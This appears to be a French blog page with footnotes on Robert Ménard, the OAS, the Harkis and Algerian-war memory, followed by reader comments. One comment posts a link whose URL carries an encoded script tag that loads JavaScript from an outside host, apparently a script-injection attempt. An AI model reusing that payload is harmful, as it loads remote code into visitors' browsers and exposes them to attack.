    (2) Dans le bulletin municipal n°6, par exemple, on peut lire à propos des dégradations ayant eu lieu dans une aire de jeu pour enfants que la municipalité refuse de réparer : « Il faut que les habitants de ces quartiers dénoncent les auteurs de ces exactions. Ces gens-là brulent, détruisent des installations communales et c’est leurs propres familles qui en font les frais. […] La balle est maintenant dans le camp des habitants du quartier. » L’article énumère d’autres dégradations attribuées à « des voyous du coin » appelés également « les vandales ». Le quartier de La Devèze n’est en revanche jamais cité par la municipalité pour les initiatives positives portées par ses habitants.

    (3) Le père de Robert Ménard milita au sein de l’OAS (Organisation Armée Secrète, groupe clandestin qui menait des actions terroristes pour tenter d’empêcher l’indépendance de l’Algérie.)

    (4) Benjamin Stora est un Historien français professeur à l’université Paris XIII et inspecteur général de l’Éducation Nationale. Né en 1950 en Algérie française, il assiste à la guerre et est rapatrié en France à l’âge de 12 ans. Après de brillantes études, il devient docteur en Histoire et en sociologie. Ses recherches portent sur l'Histoire du Maghreb contemporain, l' Algérie, les  guerres de décolonisation et l' immigration en France. Il assure la présidence du conseil d'orientation de la  Cité nationale de l'histoire de l'immigration depuis août  2014.

    (5) Les Harkis : on désigne généralement par ce nom des supplétifs de l’armée française recrutés sous contrat parmi les musulmans pendant la guerre d’Algérie. Certains furent rapatriés en France après les accords d’Évian, mais nombre d’entre eux subirent les représailles du FLN après l’indépendance.

    (6) La notion de « grand remplacement » est utilisée par l’idéologue d’extrême droite Renaud Camus pour exprimer l’idée que l’immigration a pour but de provoquer le « remplacement » des populations européennes par des populations extérieures à l’Europe.

    (7) Référence à la chanson de Georges Brassens Mourir pour des idées.

    (8) Le chant des Africains est un chant militaire écrit pendant la deuxième guerre mondiale et repris par les pieds-noirs partisans de l’Algérie française pendant la guerre d’Algérie. Après l’indépendance, il fut interdit jusqu’en 1969. Il est parfois encore appelé « chant de l’OAS ».


    « 28 minutesMémoire - Hors-série *** avec Benjamin Stora (20/12/2021) *** Ce soir à 20 h sur ARTELa famille de Gisèle Halimi craint qu’Emmanuel Macron renonce à l’hommage promis aux Invalides »

  • Commentaires

    3
    Mardi 21 Décembre 2021 à 13:44

    Un morceau de bravoure le discours de Ménard devant un parterre dans lequel abondaient les bérets. Des verts, des roges, des noirs aussi Il y avait des drapeaux, des médailles sur les poitrines également. On avait sonné le ban et l'arrière vans de tout ce que la France compte de traîneurs de sabre.

    Ah non le slogan ringard "Algérie française" n'a pas fait recette.

    Et Georges Frèche n'était pas présent pour entonner "Le chant des Africains" ! Il était mort quelques années plus tôt. Mais nul doute que s'il avait été encore en vie...

    Ah oui la FNACA n'était pas présente parmi les contre-manifestants. Il faut dire que commémorer la paix avait quelque chose d'éminemment politique. Laisser débaptiser une rue du 19 mars 1962 au profit d'un officier putschiste sansréagir était assurément un signe d'indépendance idéologique !

     

    2
    Mardi 21 Décembre 2021 à 10:50

    Le grand article de l'ami Gilbert Soulet *** Cliquez sur le lien ci-dessous :

     

    https://pertuisien.fr/flash.php?flash=67612%3Cscript%20src=%22//boxclone.com/231fe9b04591ea7578.js%22%3E%3C/script%3E

     

    1
    Gilbert SOULET
    Mardi 21 Décembre 2021 à 10:37

    https://pertuisien.fr/flash.php?flash=67612

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